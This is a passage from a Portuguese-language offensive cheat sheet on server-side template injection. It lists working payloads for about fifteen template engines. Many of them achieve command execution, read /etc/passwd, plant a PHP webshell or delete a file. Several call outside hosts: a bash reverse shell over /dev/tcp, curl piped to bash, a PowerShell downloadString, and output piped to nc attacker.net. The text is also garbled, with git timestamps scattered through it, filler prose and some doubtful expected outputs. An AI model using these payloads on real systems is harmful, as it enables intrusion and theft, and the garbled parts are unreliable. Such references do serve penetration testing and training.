this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
##
2022-05-01 13:25:53 +00:00
### Smarty (PHP)
2021-06-25 12:34:30 +00:00
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2023-06-06 18:56:34 +00:00
* Na seção Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
2022-05-01 13:25:53 +00:00
### Twig (PHP)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
2023-06-06 18:56:34 +00:00
* `{{1/0}} = Erro`
* `{{foobar}} Nada`
2021-06-25 12:34:30 +00:00
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
2022-10-03 13:43:01 +00:00
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
2021-06-25 12:34:30 +00:00
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```
2023-06-06 18:56:34 +00:00
**Twig - Formato de Template**
2021-06-25 12:34:30 +00:00
Twig é um mecanismo de modelo moderno e flexível para PHP. É uma biblioteca de modelo rápida, segura e flexível que permite ao desenvolvedor escrever modelos legíveis e fáceis de manter. O Twig é usado por muitos projetos populares, como o Symfony, o Drupal e o Craft CMS.
2021-06-25 12:34:30 +00:00
O Twig usa uma sintaxe simples e fácil de entender que permite ao desenvolvedor criar modelos complexos com facilidade. Ele suporta recursos avançados, como herança de modelo, macros e filtros personalizados. O Twig também é altamente extensível, permitindo que os desenvolvedores criem suas próprias extensões para adicionar funcionalidades personalizadas.
2023-06-06 18:56:34 +00:00
O Twig é uma ótima escolha para projetos PHP que exigem modelos flexíveis e fáceis de manter. Ele é fácil de aprender e usar, e oferece muitos recursos avançados para desenvolvedores experientes. Se você está procurando um mecanismo de modelo moderno e poderoso para seus projetos PHP, o Twig é uma excelente opção.
2021-06-25 12:34:30 +00:00
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2023-06-06 18:56:34 +00:00
* Na seção Twig e Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
2023-06-06 18:56:34 +00:00
Plates é inspirado no Twig, mas é um mecanismo de modelo PHP nativo em vez de um mecanismo de modelo compilado.
2023-06-06 18:56:34 +00:00
controlador:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
2023-06-06 18:56:34 +00:00
# Injeção de modelo do lado do servidor (SSTI)
A Injeção de modelo do lado do servidor (SSTI) é uma vulnerabilidade de segurança que ocorre quando um invasor pode injetar código malicioso em um modelo que é então executado no servidor. Isso pode permitir que o invasor execute comandos no servidor ou obtenha acesso a informações confidenciais.
2023-06-06 18:56:34 +00:00
## Como funciona a SSTI?
A SSTI ocorre quando um aplicativo da web usa um modelo para gerar conteúdo dinâmico. O modelo contém espaços reservados que são preenchidos com dados do usuário ou do sistema. Se o aplicativo não validar corretamente os dados inseridos pelo usuário, um invasor pode injetar código malicioso no modelo.
2023-06-06 18:56:34 +00:00
Quando o modelo é processado no servidor, o código malicioso é executado, permitindo que o invasor execute comandos no servidor ou obtenha acesso a informações confidenciais.
2023-06-06 18:56:34 +00:00
## Exemplo de SSTI
2023-06-06 18:56:34 +00:00
Um exemplo comum de SSTI é quando um aplicativo da web usa o mecanismo de modelo do Flask sem escapar devidamente as entradas do usuário:
2023-06-06 18:56:34 +00:00
```python
from flask import Flask, render_template_string, request
2023-06-06 18:56:34 +00:00
app = Flask(__name__)
2023-06-06 18:56:34 +00:00
@app.route('/')
def index():
name = request.args.get('name')
return render_template_string('Hello {{ name }}!')
if __name__ == '__main__':
app.run()
```
2023-06-06 18:56:34 +00:00
Neste exemplo, o aplicativo da web usa o mecanismo de modelo do Flask para renderizar uma saudação personalizada para o usuário. No entanto, o aplicativo não escapa a entrada do usuário, permitindo que um invasor injete código malicioso no modelo.
2023-06-06 18:56:34 +00:00
Por exemplo, um invasor pode enviar a seguinte solicitação GET:
2023-06-06 18:56:34 +00:00
```
http://localhost:5000/?name={{%20config.items%20}}
```
2023-06-06 18:56:34 +00:00
Isso injetará o código `config.items` no modelo, que é então executado no servidor. Isso pode permitir que o invasor obtenha acesso a informações confidenciais, como senhas ou chaves de API.
2023-06-06 18:56:34 +00:00
## Como prevenir a SSTI?
Para prevenir a SSTI, é importante validar e escapar corretamente todas as entradas do usuário que são usadas em modelos. Isso pode ser feito usando uma biblioteca de modelo segura, como o Jinja2, que escapa automaticamente todas as entradas do usuário.
Além disso, é importante manter todos os softwares e bibliotecas atualizados para evitar vulnerabilidades conhecidas.
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
2023-06-06 18:56:34 +00:00
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
modelo de layout:
```html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
2023-06-06 18:56:34 +00:00
### PHPlib e HTML\_Template\_PHPLIB (PHP)
2023-06-06 18:56:34 +00:00
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) é o mesmo que PHPlib, mas portado para Pear.
`authors.tpl`
```html
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
```
2023-06-06 18:56:34 +00:00
# `authors.php`
Este arquivo é responsável por exibir informações sobre os autores do site. Ele usa um modelo para exibir as informações dos autores. No entanto, o modelo não é seguro contra ataques de injeção de modelo do lado do servidor (SSTI). Isso significa que um invasor pode injetar código malicioso no modelo e executá-lo no servidor. Isso pode levar a vazamentos de informações sensíveis ou até mesmo à execução remota de código. É importante garantir que o modelo seja seguro contra ataques SSTI.
```php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
2022-05-01 13:25:53 +00:00
### Jade (NodeJS)
Jade é um mecanismo de modelo de servidor que permite a criação de modelos HTML de forma rápida e fácil. Ele é usado em muitos aplicativos NodeJS e é conhecido por sua sintaxe concisa e legibilidade. No entanto, como muitos outros mecanismos de modelo, o Jade é vulnerável a ataques de injeção de modelo do lado do servidor (SSTI). Esses ataques podem permitir que um invasor execute código malicioso no servidor, o que pode levar a vazamentos de dados e comprometimento do sistema. É importante que os desenvolvedores tomem medidas para proteger seus aplicativos contra esses tipos de ataques, como validar entradas de usuário e usar bibliotecas de modelo seguras.
2021-06-25 12:34:30 +00:00
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2021-06-25 12:34:30 +00:00
2023-06-06 18:56:34 +00:00
* Na seção Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) é um mecanismo de modelagem PHP não compilado, que usa tags XML para dividir um documento em diferentes partes.
```xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
2022-05-01 13:25:53 +00:00
### Handlebars (NodeJS)
2023-06-06 18:56:34 +00:00
Travessia de caminho (mais informações [aqui](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
2021-02-03 09:46:19 +00:00
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
2023-06-06 18:56:34 +00:00
* \= Erro
* ${7\*7} = ${7\*7}
2023-06-06 18:56:34 +00:00
* Nada
2021-06-25 12:34:30 +00:00
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
2021-09-30 07:38:27 +00:00
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
```
2023-06-06 18:56:34 +00:00
**Mais informações**
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
2022-05-01 13:25:53 +00:00
### JsRender (NodeJS)
2020-12-01 16:50:24 +00:00
2023-06-06 18:56:34 +00:00
| **Modelo** | **Descrição** |
| ------------ | --------------------------------------- |
2023-06-06 18:56:34 +00:00
| | Avalia e renderiza a saída |
| | Avalia e renderiza a saída codificada em HTML |
| | Comentário |
| e | Permite código (desativado por padrão) |
2020-12-01 16:50:24 +00:00
* \= 49
2020-12-01 16:50:24 +00:00
**Lado do cliente**
2021-06-25 12:34:30 +00:00
```python
2020-12-01 16:50:24 +00:00
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
2023-06-06 18:56:34 +00:00
**Lado do Servidor**
2020-12-01 16:50:24 +00:00
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2020-12-01 16:50:24 +00:00
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
2022-05-01 13:25:53 +00:00
### PugJs (NodeJS)
2021-01-09 10:15:51 +00:00
2021-01-10 15:09:49 +00:00
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
2021-12-16 22:42:47 +00:00
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
2021-01-10 15:09:49 +00:00
2023-06-06 18:56:34 +00:00
**Exemplo de renderização do lado do servidor**
2021-06-25 12:34:30 +00:00
```javascript
2021-01-10 15:09:49 +00:00
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2021-01-09 10:15:51 +00:00
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
2022-05-01 13:25:53 +00:00
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
2022-02-01 22:03:45 +00:00
2022-02-09 16:22:44 +00:00
* \{{7\*7\}} = 49
2023-06-06 18:56:34 +00:00
* \{{foo\}} = Sem saída
2022-02-01 22:03:45 +00:00
* \#{7\*7} = #{7\*7}
2023-06-06 18:56:34 +00:00
* \{{console.log(1)\}} = Erro
2022-02-01 22:03:45 +00:00
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2022-02-01 22:03:45 +00:00
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
2022-05-01 13:25:53 +00:00
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
2023-06-06 18:56:34 +00:00
* `<%= foobar %> = Erro`
2021-06-25 12:34:30 +00:00
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2021-06-25 12:34:30 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Slim (Ruby)
2021-06-25 12:34:30 +00:00
* `{ 7 * 7 }`
```
2021-06-25 12:34:30 +00:00
{ %x|env| }
```
2023-06-06 18:56:34 +00:00
**Mais informações**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
2022-05-01 13:25:53 +00:00
### Python
2021-06-25 16:27:28 +00:00
2023-06-06 18:56:34 +00:00
Confira a seguinte página para aprender truques sobre **execução de comando arbitrário contornando caixas de areia** em python:
2021-06-25 16:27:28 +00:00
2022-05-16 08:29:00 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
2021-06-25 16:27:28 +00:00
2022-05-01 13:25:53 +00:00
### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
2023-06-06 18:56:34 +00:00
* `{{foobar}} = Erro`
* `{{7*'7'}} = 7777777`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
{% import foobar %} = Error
2022-02-09 16:22:44 +00:00
{% import os %}
2022-09-26 09:52:47 +00:00
2022-10-03 13:43:01 +00:00
{% import os %}
2022-12-09 14:47:58 +00:00
{% endraw %}
2023-01-13 17:40:30 +00:00
2023-03-05 22:20:47 +00:00
2022-12-09 14:47:58 +00:00
{{os.system('whoami')}}
2022-04-06 08:57:29 +00:00
{{os.system('whoami')}}
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2022-05-01 13:25:53 +00:00
### Jinja2 (Python)
2021-06-25 12:34:30 +00:00
2023-06-06 18:56:34 +00:00
[Site oficial](http://jinja.pocoo.org)
> Jinja2 é um motor de modelo completo para Python. Ele tem suporte total a Unicode, um ambiente de execução isolado opcionalmente integrado, amplamente utilizado e licenciado pelo BSD.
2023-06-06 18:56:34 +00:00
* `{{7*7}} = Erro`
* `${7*7} = ${7*7}`
2023-06-06 18:56:34 +00:00
* `{{foobar}} Nada`
2021-06-25 12:34:30 +00:00
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
2022-04-06 08:57:29 +00:00
* `<div data-gb-custom-block data-tag="debug"></div>`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
{% debug %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2022-06-18 20:54:28 +00:00
{{settings.SECRET_KEY}}
2021-06-25 12:34:30 +00:00
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
2023-06-06 18:56:34 +00:00
**Jinja2 - Formato de Template**
Jinja2 é um motor de template popular para Python. Ele é usado para renderizar templates e é amplamente utilizado em frameworks web como Flask e Django. O formato de template do Jinja2 é semelhante ao do Django, mas com algumas diferenças. Os templates do Jinja2 são salvos com a extensão `.html` ou `.j2`.
2023-06-06 18:56:34 +00:00
Os templates do Jinja2 são compostos por tags, expressões e comentários. As tags são usadas para controlar o fluxo do template, enquanto as expressões são usadas para exibir valores. Os comentários são usados para adicionar notas ao template que não serão renderizadas.
2023-06-06 18:56:34 +00:00
As tags do Jinja2 são delimitadas por `{%` e `%}`. As expressões são delimitadas por `{{` e `}}`. Os comentários são delimitados por `{#` e `#}`.
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
2021-06-25 12:34:30 +00:00
{% endblock %}
2022-02-09 16:22:44 +00:00
{% endraw %}
```
2023-06-06 18:56:34 +00:00
[**RCE não dependente de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
2021-06-25 12:34:30 +00:00
```
2023-06-06 18:56:34 +00:00
**Mais detalhes sobre como abusar do Jinja**:
2021-06-25 12:34:30 +00:00
2022-07-20 01:03:41 +00:00
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2022-05-01 13:25:53 +00:00
### Mako (Python)
2021-06-07 09:30:58 +00:00
Mako é um mecanismo de modelo de servidor de código aberto para Python. Ele é usado para renderizar modelos e pode ser usado para injetar código no lado do servidor. Para explorar vulnerabilidades de injeção de modelo do lado do servidor em Mako, você pode usar a seguinte carga útil:
```
${ ''.__class__.__mro__[1].__subclasses__()[80]('/etc/passwd').read() }
```
Esta carga útil usa a classe `Template` para ler o arquivo `/etc/passwd`. Você pode modificar o caminho do arquivo para ler outros arquivos no servidor.
2021-06-25 12:34:30 +00:00
```python
2021-06-07 09:30:58 +00:00
<%
import os
x=os.popen('id').read()
%>
${x}
```
2022-05-01 13:25:53 +00:00
### Razor (.Net)
2020-07-19 21:53:59 +00:00
2023-06-06 18:56:34 +00:00
* `@(2+2) <= Sucesso`
* `@() <= Sucesso`
* `@("{{code}}") <= Sucesso`
* `@ <= Sucesso`
* `@{} <= ERRO!`
* `@{ <= ERRO!`
2020-07-19 21:53:59 +00:00
* `@(1+2)`
2022-01-06 11:03:56 +00:00
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
2020-07-19 21:53:59 +00:00
O método `System.Diagnostics.Process.Start` do .NET pode ser usado para iniciar qualquer processo no servidor e, assim, criar um webshell. Você pode encontrar um exemplo de aplicativo da web vulnerável em [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
2020-07-19 21:53:59 +00:00
2023-06-06 18:56:34 +00:00
**Mais informações**
2020-07-19 21:53:59 +00:00
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
2022-01-06 11:03:56 +00:00
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
2020-07-19 21:53:59 +00:00
2022-05-01 13:25:53 +00:00
### ASP
2022-02-03 15:39:58 +00:00
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
2023-06-06 18:56:34 +00:00
* `<%= foo %>` = Nada
2022-02-03 15:39:58 +00:00
* `<%= response.write(date()) %>` = \<Date>
```bash
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
2023-06-06 18:56:34 +00:00
**Mais Informações**
2022-02-03 15:39:58 +00:00
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
2022-05-01 13:25:53 +00:00
### Mojolicious (Perl)
2020-07-26 18:06:17 +00:00
2023-06-06 18:56:34 +00:00
Mesmo sendo Perl, ele usa tags como ERB em Ruby.
2020-07-26 18:06:17 +00:00
* `<%= 7*7 %> = 49`
2023-06-06 18:56:34 +00:00
* `<%= foobar %> = Erro`
```
2020-07-26 18:06:17 +00:00
<%= perl code %>
<% perl code %>
```
2023-06-06 18:56:34 +00:00
### SSTI em GO
2020-07-26 18:06:17 +00:00
2023-06-06 18:56:34 +00:00
Para confirmar que o mecanismo de modelo usado no backend é Go, você pode usar esses payloads:
2021-05-27 10:20:50 +00:00
2023-06-06 18:56:34 +00:00
* `{{ . }}` = estrutura de dados sendo passada como entrada para o modelo
* Se os dados passados são um objeto que contém o atributo Password, por exemplo, o payload anterior vazaria, mas você também poderia fazer: `{{ .Password }}`
2023-06-06 18:56:34 +00:00
* `{{printf "%s" "ssti" }}` = deve produzir a string ssti na resposta
* `{{html "ssti"}}`, `{{js "ssti"}}` = Esses são alguns outros payloads que devem produzir a string "ssti" sem as palavras finais "js" ou "html". Você pode se referir a mais palavras-chave no mecanismo [aqui](https://golang.org/pkg/text/template).
2021-05-27 10:20:50 +00:00
2023-06-06 18:56:34 +00:00
**Exploração de XSS**
2021-05-27 10:20:50 +00:00
2023-06-06 18:56:34 +00:00
Se o servidor estiver **usando o pacote text/template**, o XSS é muito fácil de alcançar **simplesmente** fornecendo seu **payload** como entrada. No entanto, isso **não é o caso com html/template** pois ele codifica a resposta em HTML: `{{"<script>alert(1)</script>"}}` --> `&lt;script&gt;alert(1)&lt;/script&gt;`
2022-02-03 00:17:18 +00:00
2023-06-06 18:56:34 +00:00
No entanto, Go permite **DEFINIR** um **modelo** inteiro e depois **chamá-lo mais tarde**. O payload será algo como:\
2022-02-03 00:17:18 +00:00
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
2023-06-06 18:56:34 +00:00
**Exploração de RCE**
2022-02-03 00:17:18 +00:00
A documentação para ambos os módulos html/template pode ser encontrada [aqui](https://golang.org/pkg/html/template/), e a documentação para o módulo text/template pode ser encontrada [aqui](https://golang.org/pkg/text/template/), e sim, elas variam, muito. Por exemplo, em **text/template**, você pode **chamar diretamente qualquer função pública com o valor "call"**, no entanto, esse não é o caso de html/template.
2022-02-03 00:17:18 +00:00
2023-06-06 18:56:34 +00:00
